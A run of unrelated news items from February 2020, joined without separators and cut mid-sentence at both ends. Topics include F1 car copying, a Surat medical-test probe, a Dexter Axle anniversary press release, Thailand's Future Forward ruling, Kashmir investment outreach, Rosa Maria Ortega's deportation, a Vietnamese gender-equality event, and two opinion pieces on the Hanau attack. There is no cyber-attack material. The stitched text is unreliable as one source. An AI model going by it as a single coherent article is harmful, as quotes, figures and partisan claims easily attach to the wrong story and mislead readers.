Mercedes' that will be on the 2020 grid. Racing Point's new car is visually almost identical to Mercedes' 2019 contender, with an intensified collaboration over the winter involving the transfer of more component designs. Racing Point technical boss Andy Green insists that everything was actually manufactured "from scratch" by the Silverstone based team. "No technical information about the parts that we must create ourselves came from Mercedes," he said. "What you see on our car was developed on the basis of photographs of the Mercedes cars, and anyone can do that." A similar collaboration exists between Red Bull's two teams, with Red Bull Racing boss Horner saying arrangements like those "make sense". "Otherwise, teams like Alpha Tauri, Racing Point, Haas or Alfa Romeo would have to find significantly more resources," he said. "Some go further than others with their cloning, but as long as it remains within the limits, I have no problem with it." Not surprisingly, Alpha Tauri boss Franz Tost agrees. "We have stable regulations, so it's normal for teams to copy other teams' solutions. This is not new in Formula 1," said the Austrian. And Haas driver Romain Grosjean, whose car is based on many of Ferrari's technical solutions, commented: "When you're talking about the fastest car of last year, and you use the same power unit and need to cool it as well, then why not? "I don't judge if it is right or wrong, but I don't think it is a bad idea," said the Frenchman. Finally, having already aired his concerns about the incoming 2021 rules, Racing Point's Green concluded: "If you're worried about the cars all looking the same, just wait for the new rules." (GMM) Female trainee clerks of the Surat Municipal Corporation (SMC) were allegedly made to stand naked together in a room for a medical test at a civic body-run hospital here, prompting authorities to order a probe. Surat Municipal Commissioner Banchhanidhi Pani on Friday ordered a probe into allegations that around 10 female trainee clerks of the civic body were made to stand naked for a medical test in the gynaecology ward of the hospital. The shocking incident comes days after students of a girls' college in Gujarat's Bhuj town were allegedly forced by hostel authorities to remove their undergarments to prove they were not menstruating. In its complaint to the commissioner on Thursday, the SMC Employees Union alleged even unmarried women were checked for pregnancy by female doctors. The alleged incident took place in the Surat Municipal Institute of Medical Education and Research (SMIMER) hospital, run by the SMC, on February 20. Acting on the complaint, Pani on Friday formed a three -member committee to probe the allegations and submit a report in 15 days. The committee comprises former dean of the medical college Dr. Kalpana Desai, Assistant Municipal Commissioner Gayatri Jariwala and executive engineer Trupti Kalathia. As per rules, all trainee employees need to undergo a physical test to prove their physical fitness for the job upon the completion of their training period, said officials. Upon completion of their three years of training period, some female trainee clerks came to SMMER hospital for medical test, which is mandatory, they said. The union said though they are not against the mandatory test, the method adopted for women staffers in the gynecology ward was not improper. "Instead of calling the women one after another in the room for the test, lady doctors made them stand naked in group of 10. This act of compelling them to stand naked with others is highly deplorable. "This method is illegal and against humanity. It is necessary that each woman is checked separately," said the union in its complaint. According to the general secretary of the union, Ahmed Shaikh, women staffers were put in an embarrassing situation by lady doctors with their absurd questions about pregnancy during the test. "Doctors should stop asking private questions about pregnancy. Moreover, even unmarried women in that group were subjected to a physical test meant for checking if they were pregnant or not. "They were put in an embarrassing situation in front of other women. Women's respect must be maintained during medial tests," said Shaikh. Surat Mayor Jagdish Patel assured stern action against the culprits. "This issue is very serious. Such physical tests are conducted on all those employees who are getting permanent after finishing their training period. "We will take strict action against the culprits if the allegations levelled by the women staffers are found to be true," said Patel. The shocking incident comes days after students of a girls' college in Gujarat's Bhuj town were allegedly forced by hostel authorities to remove their undergarments to prove they were not menstruating. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) NOVI, Mich., Feb. 21, 2020 /PRNewswire/ -- DexKo Global Inc., the global leader in highly engineered trailer running gear, chassis assemblies, and related components, is pleased to announce that its subsidiary, Dexter Axle Company ("Dexter"), is celebrating its 60th anniversary in 2020. Dexter Axle was founded in 1960 in Elkhart, IN by Leonard Dexter to serve the growing manufactured housing & recreation vehicle markets. The initial product offering was limited to light duty sprung axles and components, but the company's growth strategy was to continually develop new products to expand the product line while providing the highest level of customer service possible. Staying true to that commitment, Dexter's business grew through the years with product innovations such as medium duty axles, Torflex rubber torsion suspension axles, E-Z Lube axle spindles, Nev-R-Lube sealed cartridge bearing system, E-Z Flex suspension system, Nev-R-Adjust trailer brakes, and specialty heavy duty axles & suspensions - all commonly recognized in the towing industry today. By developing key distributor partnerships, Dexter's products are available through the most comprehensive network of over 450 distribution points in North America as well as internationally. A consistent string of leadership has helped Dexter provide the highest level of product offering, quality and customer service in the market, driving Dexter into a leadership position for the past three decades. Initially led by Leonard Dexter, followed by Richard Dexter, Mike Jones, and now Adam Dexter, the company has benefited from steady leadership allowing Dexter to become the best in the marketplace at what we do. Under current leadership, Adam Dexter, grandson of founder Leonard Dexter, assumed the role of Dexter's President and CEO in 2008. Since this time Dexter has completed 12 acquisitions in North America broadening the company's geographic footprint and expanding the product offering. Today, Dexter is the is leading North American manufacturer of axles in the commercial, marine, recreational vehicle and specialty heavy duty markets; manufacturing the most comprehensive portfolio of axles, axle components, suspension products, leaf springs, fenders, brake actuators, disc brakes, and other trailer accessory items. In December of 2015, DexKo Global Inc. was formed through the merger of Dexter and AL-KO Vehicle Technology (VT), creating a global leader in highly-engineered running gear. Dexter operates in North America as a subsidiary of DexKo Global. Today DexKo has a global presence, operating in 23 countries and employing over 7,400 individuals worldwide. "We have achieved this significant milestone through the hard work and dedication of our employees, both past and present, our culture of providing excellent customer service throughout the organization, and our 60 years of dedication to product innovation and manufacturing the highest quality reliable products," states Adam Dexter. "Throughout 2020, we'll celebrate this outstanding achievement with our dedicated employees, our valued suppliers, and our customer partners." Today, Dexter remains headquartered in Elkhart, Indiana, employing over 2,400 people in the U.S. and Canada, operating 18 manufacturing facilities in ten states/provinces. Over 3 million axles are produced annually and over 50 million axles have been installed over the last 60 years. "We look forward to continued growth and partnerships," states Dexter. Please send inquiries to: 2900 Industrial Parkway East Stacey K. Miller, Brand & Communications Manager Elkhart, Indiana 46515 [email protected] Phone: 574.295.7888 Phone: 574.296.7228 Fax: 574.296.7368 DexKo Global Inc. is the world's leading supplier of advanced chassis technology, chassis assemblies and related components with more than 130 years of experience in trailer and caravan components. DexKo Global was founded at the end of 2015 through the combination of Dexter and AL-KO Vehicle Technology. With its headquarters in Novi, Michigan, the company employs more than 5,000 associates with 44 production facilities and 23 distribution centers. DexKo Global Inc. has a turnover of more than US$ 1.5 billion and Dexter is a wholly owned subsidiary of DexKo Global, Inc. and has been a leading manufacturer of trailer axles and trailer brakes for nearly 60 years for the utility trailer, recreation vehicle, heavy duty, manufactured housing, agricultural, marine, and specialty trailer markets. For more information visit www.dexteraxle.com and www.dexko.com . KPS, through its affiliated management entities, is the manager of the KPS Special Situations Funds, a family of investment funds with approximately $11.5 billion of assets under management (as of October 15, 2019). For over two decades, the Partners of KPS have worked exclusively to realize significant capital appreciation by making controlling equity investments in manufacturing and industrial companies across a diverse array of industries, including basic materials, branded consumer, healthcare and luxury products, automotive parts, capital equipment and general manufacturing. KPS creates value for its investors by working constructively with talented management teams to make businesses better, and generates investment returns by structurally improving the strategic position, competitiveness and profitability of its portfolio companies, rather than primarily relying on financial leverage. The KPS Funds' portfolio companies have aggregate annual revenues of approximately $8.4 billion, operate 142 manufacturing facilities in 26 countries, and have approximately 28,000 employees, directly and through joint ventures worldwide. The KPS investment strategy and portfolio companies are described in detail at www.kpsfund.com. SOURCE DexKo Global Inc. Related Links http://www.dexko.com BANGKOK Thailands most dynamic political force in years was ordered disbanded on Friday by the countrys Constitutional Court, in a ruling that rights groups say is part of a pattern of judicial harassment aimed at smothering democracy. The Future Forward Party was found to have violated a law governing political parties by accepting a loan from its young tycoon leader, Thanathorn Juangroongruangkit, to fund an electoral campaign. The party maintains that the 191 million baht loan, equivalent to about $6 million, was legitimate, and that the campaign financing rules are so ambiguous that it would have been impossible to know whether the loan contravened them. Other political parties have taken out loans without any legal ramifications. For a country where the same politicians and army generals have dominated politics for decades, the Future Forward Party offered something fresh. A global investors' summit is being planned at Srinagar in May, and the event in a city hotel is organised by industry lobby CII, which is also a national partner for the summit Mumbai: Top officials from the Jammu and Kashmir Union Territory administration will visit the country's financial capital and meet industry leaders on Friday, more than six months after the virtual abrogation of Article 370. Led by Lieutenant Governor Girish Chandra Murmu, the officials will be pitching about the business possibilities in the restive Kashmir Valley to leaders of India Inc, officials said on Thursday. A global investors'' summit is being planned at capital Srinagar in May, and the event in a city hotel is organised by industry lobby CII, which is also a national partner for the summit, they said. The Union government''s bold moves on the vexed Kashmir issue in August have been met with a mixed response, with many going public with the prolonged shutdown of telecom connectivity in the valley and the continuing detentions of political leaders, while others have welcomed the move. At the time of the announcement, the Centre had assured that carving out Union territories of Jammu and Kashmir and Ladakh out of the state of Jammu and Kashmir will fasten economic development of the region through focused attention. There were also reports of mega projects like a massive solar project in the mountainous Ladakh region being launched. The summit in May will be a showcase of investment opportunities across sectors, officials said. Other officials and bureaucrats, including Manoj Kumar Dwivedi, the secretary for industries and commerce; Anoo Malhotra, the director of industries and commerce; and Rohit Kansal, the principal secretary of planning development and monitoring, among others, are expected to be present on Friday. The Aspen Thrift Shop is always buzzing with activity from 10a-3p daily with an endless supply of donated goods coming in the back door and sold out the front. Rosa Maria Ortega In 2017, Rosa Maria Ortega's eight-year prison sentence for illegal voting in Texas made her an unwitting poster child of an alleged voter fraud epidemic that dominated headlines and a newly-elected president's tweets-- despite no evidence that it existed. Last December, with the country's attention elsewhere, Ortega was granted parole after serving a little more than nine months. She now faces a more permanent punishment: The 40-year-old mother of four teenagers, who first came to the USA as a baby and lived here legally with a green card, is the target of deportation proceedings to her native country of Mexico. After being paroled, Ortega spent nearly two more months in the custody of U.S. Immigration and Customs Enforcement (ICE). She was freed on bond by an immigration judge last month. The U.S. Department of Justice office that handles immigration proceedings did not respond to a request Thursday for information on her case, including when she is due to appear in court. Efforts to reach Ortega and members of her family were unsuccessful, and her former lawyers said they have also lost contact with her. Professor Jean Reisz of the University of Southern California Gould School of Law said a person in Ortega's position may remain in the USA for months or even years because of a court backlog but ultimately has steep odds at avoiding deportation. Federal law states: "Any alien who has voted in violation of any Federal, State, or local constitutional provision, statute, ordinance, or regulation is deportable." "There are very limited applications for relief, and a felony criminal conviction would bar you from a lot of relief," Reisz said. "And once you have that conviction, there's no way to get rid of it unless its vacated by a criminal judge or you are pardoned by the governor or the president." Ortega will likely not hold out hope for those pardons, considering that Texas public officials have made a practice of severely punishing the sort of voting crimes that elsewhere are treated as minor infractions. The policy is in line with the stated beliefs of President Donald Trump, who asserted that widespread voter fraud cost him votes in the 2016 election. Story continues The ballots that led to Ortega's imprisonment were actually cast for Republicans. In 2012, Ortega voted for presidential candidate Mitt Romney in the general election, and in 2014, she voted for Texas attorney general candidate Ken Paxton, who won and prosecuted her for illegal voting. Dallas-based attorney Clark Birdsall, who represented Ortega at trial, learned from a reporter about her parole and pending deportation. He asserted that her imprisonment and deportation was the result of "a totally inappropriate prosecution and a totally inappropriate sentence." "In my opinion, they just used an elephant gun on a gnat," Birdsall said. Representatives for Paxton did not respond to messages seeking comment on Ortega's parole or pending deportation. Paxton previously boasted that Ortega's prosecution proved that his office "will hold those accountable who falsely claim eligibility and purposely subvert the election process in Texas." A spokesperson for Tarrant County District Attorney Sharen Wilson, who jointly prosecuted Ortega, declined to comment on her parole status, saying "that decision is within the purview" of the Texas corrections system. Birdsall blamed Wilson for thwarting a plea agreement three years ago that would have dismissed the charges against Ortega and potentially saved her from deportation if she met conditions that included speaking to lawmakers about the dangers of election loopholes. Birdsall shared an email from January 2017 that suggests Assistant Attorney General Jonathan White, who represented Paxton's office, tentatively agreed to such a deal. "I think her story has the potential of coming across very well in the current climate and putting her in a positive light that might help secure her immigration status more than anything we can do on paper," White wrote. Birdsall said he next learned that Wilson objected to the deal, resulting in Ortega going to trial and receiving the lengthy prison sentence. "She didn't just say no, she said, 'Hell no,' " Birdsall said of Wilson. " 'It's not going to be dismissed, were going to trial, see you Monday.' " Wilson's spokesperson, Samantha Jordan, said Birdsall's account was "not correct." Jordan and White pointed out that Ortega had previously turned down a plea offer of two years of probation, when she had a different defense attorney, but neither would address the later potential agreement referenced in the email. Jordan emphasized that the sentence was the decision of the trial's jurors, who could have sentenced Ortega to up to 20 years. "At trial, we did not ask for prison time," the spokesperson said in an email, "and made sure the jurors were aware she was probation eligible." Before the jurors decided Ortega's sentence, a prosecutor portrayed her as representative of a potential illegal voting invasion. "You came back with the right verdict. ... If youd come back with a not guilty, can you imagine the floodgates that would be open to illegal voting in this county? the prosecutor said. Birdsall said it appears prosecutors are attempting to distance themselves from the sentence they secured with such rhetoric. "It's like an arsonist turning their back on a fire and saying, 'We don't know how that happened,' " Birdsall said. Birdsall characterized Ortega as a poorly educated woman who, as a lawful permanent resident all of her adult life, was unaware that she was not permitted to vote. Her indictment in November 2015 followed a series of actions she revealed to elections officials and law enforcement investigators. After moving from Dallas to neighboring Tarrant County in late 2014, she attempted to register to vote but indicated on her application that she was not an American citizen. When her application was rejected, she called election administrators and was told that the reason for the rejection was that she had checked the "no" box for citizenship. Ortega explained that she had been able to vote in Dallas County and resubmitted her voter registration, this time indicating she was a citizen. Several months later, Ortega was visited on her front porch by two investigators from Paxton's office. They secretly recorded Ortega as she said she checked the box indicating she was a citizen because she had previously encountered no trouble voting in Dallas County. It was Ortega's poor luck that she had just confessed to illegal voting in a state where elected officials made examples of those they deemed contributors to voter fraud. Paxton has tweeted about a "VOTER FRAUD ALERT" in which Texas officials claimed to have pinpointed tens of thousands of noncitizen voters and vowed to investigate them all, a probe that didn't occur. His office frequently generates news releases announcing the arrests of those involved in an "organized voter fraud ring" or an "organized illegal voter scheme." Paxton said that in 2018, his Election Fraud Unit prosecuted 33 defendants for a total of 97 election fraud violations. His office, in coordination with Wilson's, was behind another harsh prison sentence concerning voter fraud. In 2018, Crystal Mason was sentenced to five years in prison in Tarrant County for casting a provisional ballot despite having been convicted of a felony. Mason claimed she did not know she wasn't allowed to vote, and she is appealing the conviction. The voter fraud claims of Paxton and like-minded Texas officials have caught Trump's attention. In January 2019, the president tweeted about an army of noncitizen voters in Texas, calling it "just the tip of the iceberg." Ortega's attorneys decried her prosecution as an effort to bolster those claims and scare away Hispanics and other people of color from voting. "Her prosecution was a coordinated effort by Attorney General Paxton to suppress minority voters," said another former attorney, Domingo Garcia said. "The clear intent was to intimidate them into thinking, 'If I vote, I might get in trouble like that lady.' " The elected law enforcement officials involved in Ortega's prosecution seized on her actions as evidence that widespread voter fraud did exist. "People insist this kind of thing doesn't happen, but its happening right here at home," Wilson said in a news release touting Ortega's indictment. Ortega was convicted and sentenced by a jury in February 2017 after a two-day trial. She remained out of prison while appealing the case. A higher court upheld the original conviction in late 2018. According to a spokesperson for the Texas Department of Criminal Justice, Ortega was incarcerated starting in Feb. 27, 2019, at two women's facilities, the Lucile Plane State Jail and the William P. Hobby Unit. A parole panel voted to release her Dec. 2, but she was held in ICE custody until being granted bond Jan. 21. It's not known whether she hired an immigration attorney to handle her deportation case. Her former attorneys said they have been unable to contact her or her family members, and they said they don't know whether Ortega was reunited with her four teenage children. Birdsall described the looming deportation as by itself a disproportionate penalty for Ortega's crimes. "She will have to peck and claw her way in a country she doesn't know much, if anything, about," Birdsall said. "My goodness, that's more than enough punishment." Are you registered to vote? Check your status or register online to make sure your vote counts. This article originally appeared on USA TODAY: Woman sentenced for illegal voting paroled and faces deportation Hanau attack was not a one-off incident but the natural result of the states failure to confront right-wing extremism. In the evening hours of February 19, nine people were shot and killed in two separate shisha lounges in Hanau, a city close to Frankfurt in the state of Hesse. Several more were injured. The victims are not of ethnic German background. Following investigations that revealed the alleged perpetrators racist world view, authorities announced they would treat the crime as a far-right terror attack. The attack was the latest sign of the worrying rise of far-right extremism in Germany. The political establishments limp response to the killings, meanwhile, once again demonstrated Germanys inability to accept and deal with the growing threat that is facing its citizens and residents. The suspect, Tobias R, a 43-year-old German, was found dead in his apartment, where police also discovered the body of his 72-year-old mother. According to German media reports, the suspect published videos and texts online in which he promoted conspiracy theories, misogyny, and racism. He allegedly claimed that a small, secret elite is ruling the world, praised German supremacy and called for the extermination of several population groups. Tobias Rs actions shocked and saddened many in Germany. Citizens as well as local, state, and federal politicians publicly condemned the attack and expressed their grief and solidarity with the victims. Hanaus Mayor Claus Kaminsky (of the Social Democratic Party, or SPD) called it a terrible evening that will certainly keep us concerned for a long time and will remain in sad memory. Hesses Minister of the Interior Peter Beuth (of the Christian Democratic Union, or CDU) condemned the act as an attack on our open society. The federal government showed concern as Chancellor Angela Merkel said in a speech: Racism is poison. Federal President Frank-Walter Steinmeier also condemned the attack and expressed his deep grief. The vast majority of people in Germany condemn this act and all forms of racism, hatred, and violence. We will not cease to stand up for peaceful coexistence in our country, he said. Yet, peaceful coexistence is increasingly fragile in Germany. In fact, the tragedy of Hanau is only the latest in a wave of far-right plots and attacks we witnessed in the country. In 2011, the coincidental discovery of a terrorist network named the National Socialist Underground caused public outrage. The members of the group had committed deadly shootings across Germany and managed to avoid detection for several years. In 2017, police apprehended a German army lieutenant for planning attacks against politicians. It was soon revealed that he had also registered as a Syrian refugee under a false name and planned to carry out attacks in order to stir more hatred against refugees. In 2018, eight members of the neo-Nazi terrorist Freital Group, from Freital, a town near Dresden, a bastion of the far-right, were found guilty of terrorism-related crimes, including attacks on refugee shelters. Police arrested several men in October 2018 who committed racist crimes and are now facing trial for the formation of a right-wing terrorist organisation called Revolution Chemnitz. In June 2019, Walter Luebcke, a CDU politician from Hesse known for his support for Merkels refugee policy, was killed by a neo-Nazi. In October 2019, on the Jewish holiday of Yom Kippur, a right-wing hardliner live-streamed his attempted attack at a synagogue in the East German city of Halle. Following his failure to break into the synagogue, he shot a bystander and killed a man in a kebab shop. The city of Dresden declared a Nazi emergency in November 2019. The city council backed a resolution outlining the rise of anti-democratic, anti-pluralist, discriminatory and far-right positions which include violence. Just last week, police arrested twelve members of a far-right terror cell, who are believed to have had concrete plans for attacking mosques in 10 German states with the aim of starting a race war. In Germany, visible and violent instances of right-wing extremism are often treated as isolated incidents. In the aftermath of attacks like the one we witnessed on Wednesday, most politicians and media personalities express their shock and surprise. But for many minorities in Germany and those perceived to have a migration background, the terrorist attack in Hanau did not necessarily come as a surprise. Racism runs deep through Germany, but it rarely makes front-page news or triggers responses by politicians, unless an extremist goes on a shooting spree. Minorities experience racism in their everyday lives. They live with a constant fear of being subjected to racist violence. The situation got significantly worse after the far-right political party AfDs (Alternative for Germany) rise to prominence in 2017. In the 2017 federal election the AfD became the third-largest party in Germany after winning 94 seats in the Bundestag (the German Federal Parliament). As it established itself as a major political force in Germany, the anti-immigrant populist party made racist incitement and hate speech more socially acceptable. Through its openly racist and dehumanising rhetoric, it introduced far-right dynamics into the political mainstream, amplifying the voice of the dissatisfied white German and extending the limits of hate speech. Over time, Muslims, Arabs, Turks and others of Middle Eastern and African backgrounds became targets of overt racial discrimination and abuse. Despite Germanys persistent efforts to enlighten its society about the horrors of the Holocaust, Jews also started to experience more racist harassment and hate. While the AfD undoubtedly played a primary role in creating the toxic environment that paved the way to Wednesdays attack, it cannot be held responsible for the rise of far-right extremism in Germany on its own. In response to the Hanau attack, the president of the Central Committee of Jews, Josef Schuster, blamed the authorities, claiming that the danger stemming from right-wing extremism has been downplayed and neglected in Germany. The police and judiciary have turned a blind eye to right-wing extremism for too long, Schuster said. Indeed, the presence and expansion of organised far-right groupings have often been met with appeasement and denial by established politicians. Particularly in eastern parts of the country, where the far-right has constantly been strong long before the formation of the AfD ruling parties downplayed and sometimes outright denied the dangers stemming from the far-right. At times, they themselves have engaged in right-wing populism, in attempts to attract voters. In fact, in some parts of the country, the borders between centre-right and far-right are fluid. Two weeks ago, in the parliament of the East German state of Thuringia, the Free Democratic Party (FDP) candidate, Thomas Kemmerich, was elected prime minister with the votes of liberals, the CDU, and the AfD, marking the first time since 1945 that a German state had a far-right-backed prime minister. The AfD supported Kemmerich in order to prevent the formation of a government by left-leaning parties. Kemmerich happily accepted the AfDs backing. Kemmerichs rise to power with the support of the far-right caused outrage in Berlin. Following strong criticism, Kemmerich announced his resignation. While this open collaboration between the centre-right and the far-right was seen by many in the political elite as the breaking of a taboo, an unfortunate one-off incident, it was actually the natural result of a broader problem. The continued success of the AfD has complicated the forming of coalitions in Germany. With the two major parties constantly losing voters, in many places traditional coalitions became unachievable, paving the way for the far-right party to become the king-maker. Many politicians who expressed their shock at the senseless violence we witnessed in Hanau, failed to counter the AfDs attempts to make racist, hateful and discriminatory point of views more acceptable. Instead of declaring the AfDs rhetoric unacceptable, they moved their own stance further towards the right, in fear of losing votes. In expressions of grief and solidarity, thousands of Germans held vigils in and beyond Hanau following Wednesdays deadly attack. Politicians also continue to express their outrage. They are eager to show the world that right-wing extremism has no place in German society. There is no reason to suspect their sincerity. But condemning shootings will do little to help those who have long been living in the country knowing that they are potential victims. Thoughts and prayers cannot save lives, but actions can. For Germany to prevent future tragedies, its leaders need to accept that right-wing extremism is part of German society and admit their failures in confronting it. The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance. Your browser does not support the audio element. At a recent luncheon held in Ho Chi Minh City, a group of strong Vietnamese women leaders sat down with local high school students to discuss gender equality in Vietnam. Do I think I as a woman I need to fight very hard for gender equality? Nguyen Phi Van, one of the leaders at the event, asked as the group discussed some of the barriers women in Vietnam face in the workplace. Van serves as the chairwoman of the advisory board of the Saigon Innovation Hub, an initiative of the Ho Chi Minh City Department of Science and Technology. Before anyone could respond, Van answered herself with a defiant No. Personally, I dont think about whether or not I have anything less than my colleagues and I never think about whether or not I have to fight, because I am already there, she explained. Van went on to explain herself. I think gender equality is more about telling girls that they don't have to think that they are less [than men] and need to fight for equality. Its about telling them to be themselves in order to advance in the work they would like to do. The discussion was held in English and co-chaired by Canadian Consul General Kyle Nunas and Le Huy Tuan, a ninth grader who recently won the 'Consul General for a Day' competition organized by the Consulate General of Canada in Ho Chi Minh City. The 'Consul General for a Day' contest's finalists pose for a group photo with Canadian Consul General Kyle Nunas, who wears a suit, and Vietnamese women leaders at the luncheon on February 19, 2020 in Ho Chi Minh City. Photo: Dong Nguyen / Tuoi Tre News Tuan was accompanied by three of the contests finalists, including one male and two females. Tran Thi Ngoc Mai, one of the contests finalists, described the meeting as her "best experience ever." Mai, a 12th grader who traveled from the southern province of Ba Ria Vung Tau for the event, shared that she found the women leaders in attendance to be a major source of inspiration for her to break down barriers in order to pursue her dreams. As a male, 'Consul General for a Day' Tuan had a different perspective on the event. I learned that everyone is equal and we should not say a woman is unable to earn a salary equal to that of a man," he said. At the luncheon, the one-day consul general also treated his guests to Canadian delicacies including salmon, lobster, and maple syrup dessert while they mentioned a variety of topics aside from gender, including the Comprehensive and Progressive Agreement for Trans-Pacific Partnership (CPTPP). Canadian Consul General Kyle Nunas (R) handles a souvenir for the 'Consul General for a Day' contest's finalists made from the original copper which covered the roofs of Canada's Parliament Buildings from 1918 to 1996 at the luncheon on February 19, 2020 in Ho Chi Minh City. Photo: Dong Nguyen / Tuoi Tre News More boys involved This is the second year in a row the 'Consul General for a Day' event has focused on celebrating gender equality. The competition, which targets Vietnamese students from grades 8 through 12, aims to engage young Vietnamese on issues related to womens advancement, gender equality, and the empowerment of women and girls, according to the organizer. To enter the competition, contestants were required to write an essay in either English or French addressing the specific actions he or she is committed to taking in order to promote the competitions values. In his essay, Tuan wrote that he has been attempting for many education and social projects for students in the northern midland and mountainous areas and promoting, inspiring girls for education opportunities [sic]. Canadian Consul General Kyle Nunas (R) talks to Le Huy Tuan when he came to the Consulate General of Canada in Ho Chi Minh City to take on his 'duty' on February 19, 2020. Photo: Dong Nguyen/Tuoi Tre News Tuan said he learned his most valuable moral lessons from his mother. With such great influences and impressions, I attached great importance to the role of women in our society, especially in this rapidly developing world [sic], he wrote in his competing essay. My hometown is Long An, a province where Michelle Obama visited to give a speech on the importance of right to girls. Living in remote regions, I am able to witness the unfair culture and discharged bias with women and girls. Within my own ability, I have convinced many families to give their child an opportunity for education, to be equal [sic]. Ninth grader Le Huy Tuan, winner of the 'Consul General for a Day' competition, poses before local media when he came to the Consulate General of Canada in Ho Chi Minh City to assume his 'duty' on February 19, 2020. Photo: Dong Nguyen / Tuoi Tre News Though not a member of the contests jury, Canadian Consul General Nunas told Tuoi Tre News that the quality of Tuans writing and his ability to clearly express the importance of gender equality were major factors in his success. He described how, in his own life, he's been committed to advancing gender equality, the diplomat explained. I read his essay and understood how he worked in his home area to help educate girls and he described as well, I think in very modest ways, the small measures he does every day in his life to help the women and girls around him. All these things were exactly the types of characters that we were hoping would inspire other boys to follow." Canadian Consul General Kyle Nunas looks at ninth grader Le Huy Tuan while he was speaking to local media when he came to the Consulate General of Canada in Ho Chi Minh City to take on his 'duty' on February 19, 2020. Photo: Dong Nguyen / Tuoi Tre News One of the things about the competition that stood out most to Nunas was the increase in male contestants, as the percentage of boys participating in last year's edition was about 30 percent and that figure rose to almost 40 percent this year. We thought it was such an important thing to show boys and girls around the world, the importance of not only having conversations about gender equality with women and girls, but also with boys and men, he shared. The male finalists also agreed to join the consul general in committing to #HeforShe, a solidarity campaign initiated by the U.N. calling for men around the world to support gender equality. As a man I feel that it's important that we learn how better to work and help the women in our lives, whether they are our wives, our daughters, our friends or our colleagues, and learn how to better support them and give them the opportunities that we've been able to take for granted as men, Nunas explained. Ninth grader Le Huy Tuan (R), winner of the 'Consul General for a Day' competition, talks to Canadian Consul General Kyle Nunas while the two walk on the street in Ho Chi Minh City on February 19, 2020. Photo: Dong Nguyen / Tuoi Tre News Speaking at the luncheon, Ton Nu Thi Ninh, president of the Ho Chi Minh City Peace Committee, expressed her excitement to see male students attending an event on gender equality. Im happy to see such young men care and have the opportunity to join such activity, Ninh told Tuoi Tre News. To make it here, they had to research, look for information and learn about gender equality. They have developed their awareness on the issue at such young ages, so I believe in the future, they must have more opportunities to learn about the issue." Ton Nu Thi Ninh, president of the Ho Chi Minh City Peace Committee, speaks at the luncheon on February 19, 2020 in Ho Chi Minh City. Photo: Dong Nguyen / Tuoi Tre News Below is the final paragraph of Tuans winning contest submission: I am not a celebrity, a famous or an influential person. I am an ordinary student who happened to be able to reach high education environments. Therefore, holding a project and organize it on my own would be so ineffective for me, try to get to remote regions on my own or with a few friends is considered risky and not so impactful. That is the reason why I am not promising too much but what I can truly do and achieved. The future's a mysterious world where we can never predict what will happen. Though, if it turns out I am a successful person, I would definitely put in progress anything within my ability to help promote gender equality and empower girls [sic]. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! A right-wing extremist terrorist shot and killed nine people in the German city of Hanau in the state of Hesse Wednesday night. He injured a further six people, one of them seriously. The massacre occurred in two hookah bars overwhelmingly frequented by immigrants. Police officers later found the gunman and his mother dead in his apartment. The alleged gunman is Tobias R, a 43-year-old who grew up in Hanau and studied economics in Bayreuth. In a 24-page document acknowledging his guilt, which he published online prior to the attack, R. displayed a deeply racist outlook, investigating federal prosecutor Peter Frank told the press. In the text, the author declares himself to be a supporter of US President Donald Trump. He considers whether the total destruction of entire states in a future war would be legitimate. He speculates on what share of Germans are pure bred and valuable, and develops plans for genocide that go even further than Adolf Hitler. He lists over two dozen states whose populations he thinks should be wiped out, including half of Asia, various peoples in North Africa and Israel. Candles and flowers placed on the floor during a vigil for victims of last nights shooting in the central German town Hanau, at the Brandenburg Gate in Berlin, Germany, February 20, 2020 [Credit: AP Photo/Markus Schreiber] In terms of the number of victims, the Hanau massacre is the largest terrorist attack in Germany since the 1980 Octoberfest bombing, which was also carried out by right-wing extremists. It is only the latest in a series of murderous right-wing extremist attacks in Germany: Between 2000 and 2006, the National Socialist Underground terrorist group murdered nine immigrants and a police officer; On July 22, 2016, the 18-year-old right-wing extremist David Sonboly killed nine people in Munich; On June 2, 2019, a neo-Nazi who was known to the police assassinated Walter Lubcke, the district president in Kassel, Hesse; On October 9, 2019, 70 attendees at a Yom Kippur service narrowly escaped a massacre; the gunman Stephan Balliet shot two passers-by after he failed to force his way into the synagogue; Last weekend, the police detained twelve men accused of planning simultaneous massacres at mosques throughout the country. Representatives of the government and parliamentary parties stated their horror and disbelief at the attack. What hypocrisy! The same politicians who shed crocodile tears over this attack have created the ideological and political climate for right-wing extremist terrorism. If the far-right Alternative for Germany (AfD) party functions as the political arm of the right-wing terrorists, then the domestic intelligence service functions as its state arm, enabled by the grand coalition government. The attack in Hanau occurred just two weeks after a minister president was put in power in the neighbouring state of Thuringia for the first time since the Second World War with the votes of a far-right party, the AfD. As even the New York Times remarked, this represented an outstanding victory for the far-right. Centrists and the far right share talking points on immigration. They share what they perceive as a common enemy in the left. And now, for the first time in decades, they even share a governor, commented the newspaper. Unlike during the last years of the Weimar Republic, there is no mass base of support in Germany today for a fascist movement. The overwhelming majority of the population, above all the youth, view the AfD politicians with disdain and outrage. The right-wing extremist party relies all the more on strong support from the military, the police and the state apparatus, from which many of its voters and members are drawn, and from the established parties, from which the majority of the AfD leadership came. Its rise to the dominant party in German politics is the outcome of a political conspiracy by the ruling elite. With its decision to continue the grand coalition in 2017, the Social Democratic Party (SPD) consciously chose to make the AfD the official opposition, even though the AfD won only 12.6 percent of the vote at the last federal election. Ever since, the far-right party has been fully integrated into the work of parliament, including being appointed to lead several key parliamentary committees. The grand coalition has adopted the AfDs refugee policy and is pursuing an agenda of militarism and attacks on social spending and workers living standards that can be imposed only with fascist methods, i.e., with the support of the AfD to break the populations resistance. At the same time, the AfD receives support and advice from the intelligence agencies. The former president of the Federal Office for the Protection of the Constitution (Verfassungsschutz), the federal domestic intelligence agency, Hans-Georg Maassen, is now an open AfD supporter. The Verfassungsschutz directs and finances, with the assistance of a network of informants, far-right networks with ties to the military and police. Several dozen of these informants were active in the milieu around the NSU alone. While the grand coalition and its intelligence agencies encourage the growth of the far-right and give it free rein, they wage a bitter struggle against the left. Since 2018, the grand coalitions Verfassungsschutz Report has listed the Socialist Equality Party (Sozialistische Gleichheitspartei) as an object of surveillance because it wages an irreconcilable struggle against the AfD and German imperialism and its political parties, and advocates an anti-capitalist, socialist programme. Ideologically, the way has been paved for the AfD and far-right networks by the systematic rewriting of history at the universities and the trivialisation of the Nazis crimes. A central role in this has been played by Humboldt University Professor Jorg Baberowski, who claimed that Hitler was not vicious and that he didnt want to 